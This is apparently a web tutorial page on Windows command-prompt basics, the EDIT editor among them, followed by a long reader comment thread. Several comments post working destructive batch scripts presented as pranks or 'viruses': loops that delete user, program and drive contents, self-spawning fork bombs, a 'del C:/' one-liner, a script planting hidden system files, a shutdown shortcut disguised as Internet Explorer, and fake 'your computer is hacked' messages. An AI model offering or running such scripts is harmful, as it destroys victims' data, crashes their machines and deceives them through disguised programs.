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CMD Tricks 101

This will teach you how to do CMD.

CMD is the original MS-DOS command prompt, the Shell.

First, click START
Then press Run...
Type CMD or COMMAND
This window should appear

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Step 1EDIT: The worlds worst editor

type EDIT Example.TXT
this window should appear
type whatever you want(I said hello ppl at INSTRUCTABLES)
I said it was the worlds worst cause it is, it stinks only one size, one font, one color.
At least no stoopid spell check...................
But good for batch...

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May 23, 2012. 7:59 AMsiddharth22 says:

how to remove this error ???

May 23, 2012. 7:59 AMsiddharth22 says:

how to remove this error ???

May 23, 2012. 7:59 AMsiddharth22 says:

Apr 29, 2012. 7:48 AMmikroskeem says:

Try this destroyer:

@echo off
:start
cls
del %userprofile% /Q
del %ProgramFiles% /Q
:top
del C: /Q
goto start

It really harms your computer and files

Mar 27, 2012. 4:07 PMnversluis says:

Does anyone know a website with more CMD commands to mess with stuff? That would be really helpful.

Dec 3, 2009. 10:23 AMsiverstein says:

actually.. the first will eventually.. if not stopped.. crash the computer..

but.. a much better virus that is impsible to stop that will crash the comp at a *much* faster rate, is this.

open note pad.

save as. name.bat

then code it

only needs 3 lines.

:start
start name.bat
go to start

its an endless loop that constantly opens more endless loops.

eventually, your comp will run out room to run all of them and just die >; )

Mar 11, 2012. 4:21 AMimpulsegordon says:

can you do that remotly if you are on the same network and have that computer info?

Feb 10, 2011. 2:33 PMwill421 says:

*COUGH*
why not:

cd %SYSTEMDRIVE%/
:start
copy *.* %random%.*
start *.*
goto start

Mar 6, 2010. 5:13 AMTheBatchies says:

:a
start & goto a

Only two lines :D

Feb 9, 2010. 8:25 PMacdurai says:

Dear friend,ur notepad virus code is very nice...

Mar 11, 2012. 4:16 AMimpulsegordon says:

ok i am trying a remote shutdown on a computer that is on my network but it is hardwired into the network and i am on a wireless computer any suggestions?

Mar 9, 2012. 9:38 AMsheildshirt says:

This is a fun scare:
@echo off
echo Yes
echo you
echo got
echo it
echo !!
echo.
pause
echo.
echo This
echo indeed
echo is
echo a
echo virus
echo !!!
echo.
pause
echo.
msg * So
msg * you
msg * should
msg * probably
msg * close
msg * is
msg * now
msg * before
msg * I
msg * start
msg * to
msg * infect
msg * !!!
pause
echo LIKE
echo THIS
echo !!!!
pause
echo like this!! >> random
echo like this!! >> random1
echo like this!! >> random2
echo like this!! >> random3
echo like this!! >> random4
echo like this!! >> random5
echo like this!! >> random6
echo like this!! >> random7
echo like this!! >> random8
echo like this!! >> random0
echo like this!! >> random9
echo like this!! >> randomq
echo like this!! >> randomw
echo like this!! >> randome
echo like this!! >> randomr
echo like this!! >> randomt
echo like this!! >> randomy
echo like this!! >> randomu
echo like this!! >> randomi
echo like this!! >> randomo
echo like this!! >> randomp
echo like this!! >> randoma
echo like this!! >> randoms
echo like this!! >> randomd
echo like this!! >> randomf
echo like this!! >> randomg
echo AND
echo THIS
echo !!!!
pause
msg * PANIC!!!!
msg * PANIC!!!!
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msg * PANIC!!!!
echo HA
echo HA
echo HA
echo !!
pause
echo.
echo.
echo SCARED??
pause
echo.
echo.
echo WANT TO CLOSE THIS ANNOYING PROGRAM??
pause
attrib +r +s random1
attrib +r +s random2
attrib +r +s random3
attrib +r +s random4
attrib +r +s random5
attrib +r +s random6
attrib +r +s random7
attrib +r +s random8
attrib +r +s random9
attrib +r +s random0
attrib +r +s randomq
attrib +r +s randomw
attrib +r +s randome
attrib +r +s randomr
attrib +r +s randomt
attrib +r +s randomu
attrib +r +s randomy
attrib +r +s randomi
attrib +r +s randomo
attrib +r +s randomp
attrib +r +s randoma
attrib +r +s randoms
attrib +r +s randomd
attrib +r +s randomf
attrib +r +s randomg
echo.
echo.
echo.
echo.
echo HAHA!!
pause
echo YOU THOUGHT I WAS GONE DID YOU??
pause
echo WELL...
pause
echo @echo on
echo del C:/
echo Are you sure?(Y/N)
echo y
echo C:/ format complete.
echo pause
pause
echo pause
pause
echo echo oh oops I turned the echo on...
echo oh oops I turned the echo on...
echo pause
pause
echo @echo off
pause
echo thats better...
pause
echo well goodbye and have a close look at your desktop!!
pause
echo HAHAHAHAHAHAHAHAHAHA *cough* HAHAHAHA!!!!!
GOTO GOOD
echo if you see this then your cheating!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
echo CHEATER!!
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echo CHEATER!!
:GOOD
pause
echo if you edit this you may see something that I hid just above this...
pause
echo anyway you can close this now!
pause
echo Press any key to exit...
pause
echo Nah I'm just joking you're OK...
pause
pause>nul
pause>nul
msg * BOO!!
msg * HAHAHAHA!!
pause
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msg * BOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!
msg * HAHAHA!!
pause
pause
echo THANK YOU!! THANK YOU VERY MUCH!!
echo You have been a great audience!!
pause
echo now...
pause
echo.
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echo STOP BEING STUPID AND CLOSE THIS PROGRAM!!!!!!!!!!!!
pause
exit
if your smart enough you'll copy and paste

Oct 20, 2008. 5:25 PMUberHacker says:

UberHacker agrees with collard41 except that there are much cooler things you can do with cmd it will most defentily blow your mind if you want to find out more email me at gmnorth@gmail.com

Jan 6, 2012. 7:05 AMalvin ngota oyungu says:

i would like if you would send me any nice tricks in cmd my email is ngotalvin@gmail.com

Aug 14, 2010. 1:49 PMFoogie says:

I ll take note of that.

Mar 19, 2010. 9:41 PMFox-san48 says:

i think i will

Dec 18, 2011. 6:15 PMtechno guy says:

The edit thing to make or edit files and stuff doesnt work, it says: 'edit' is not recognized as an internal or external command, operable program or batch file.

Apr 21, 2011. 1:56 PMcrazyman135790 says:

what i call the deth virus

del C:/

Dec 18, 2011. 6:12 PMtechno guy says:

if you try to delete the c: drive, doesnt it ask you if you realy want to like: (Y/N) or something like that?

Jun 11, 2011. 8:03 PMnutsandbolts_64 says:

You can't delete an entire HDD partition within 1 second w/ out the guy knowing... Or can you?

Aug 9, 2011. 5:38 AMzapper067 says:

full screen it,please?{the code in the file}

Oct 23, 2011. 11:09 PMsgoomba says:

you can switch to full screen in the option.

Aug 30, 2011. 3:49 AMmikroskeem says:

Is ans.exe a virus? My f-secure shows it „Trojan-Generic”
What the h<#*?

Jul 10, 2011. 2:52 PMmhooper1 says:

This isn't working. When I download it and rename it, its still just a temp file and it still doesn't do anything.

Jul 9, 2011. 10:35 PMmhooper1 says:

Do these tricks over work for a certain operating system? I can't seem to get it to work on my Windows Vista.

Jun 23, 2011. 10:19 AMyrahman1 says:

sorry to burst yur bubble people but...... it works. i tryed it now ^.....^

May 8, 2011. 1:35 AMmonkeyking135 says:

Boot to floppy ?? could you do one to boot to memory stick?

Apr 8, 2011. 8:47 AMdgomme says:

lol look at the pic, scrollbar at the bottom totally gives it away :D

Feb 18, 2011. 11:09 AMcool knex13 says:

YEP IT WORKS I TRYED!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Jul 24, 2009. 10:06 AMheheheq says:

del deletes any files, as long as you specify where it is format formats a harddrive echo shows where the file comes from or it hides it. I WIN

Feb 10, 2011. 2:22 PMwill421 says:

nope.avi

Jan 5, 2011. 8:54 PMzye says:

You can change the color with the options dropdown menu

Oct 29, 2010. 11:02 PMrub3n says:

lol i love this stuff :D

Oct 29, 2010. 10:58 PMrub3n says:

Sep 13, 2010. 9:02 AMthefallenhero says:

Mmm. Perhaps spellchecking might make it slightly more realistic.

Aug 30, 2010. 2:30 PMtetley111 says:

You can als change the name to something important like internet explorer and right click on the shortcut to get to the properties, then, click on the tab that says image and change it to the internet explorer one, so then next time they click on the internet explorer icon they will actually shut down their computer---ENJOY!!!

Jul 11, 2010. 11:01 PMLee Wilkerson says:

to cooltry: All you have to do is rename the file to *.exe (i.e. boot600.exe).

Jul 4, 2010. 12:16 AMcnis says:

yeah anyone thing they can ban me ban me i am a hacker

Feb 2, 2009. 9:35 AMMuscelz says:

what a fake scare

try
MSG * FIREWALL DISABLED
MSG * HOST CONTROLLER ACCESS GAINED
MSG * SUPPORT MODE ACTIVATED
MSG * hello :)
MSG * now i have conrol of your computer
MSG * ill get what i need and go, thanks for your stupidity
MSG * thanks for your credit card recipts, numbers and password
MSG * christmas has come early for me
MSG * HOST CONTROLLER DISCONECTED msg: thanks

still lookes completely fake but to the stupid their scared outa their pants

Jun 15, 2010. 12:09 PMcazador001 says:

you still got me scared even though it was a fake looking. can i send it as an email?

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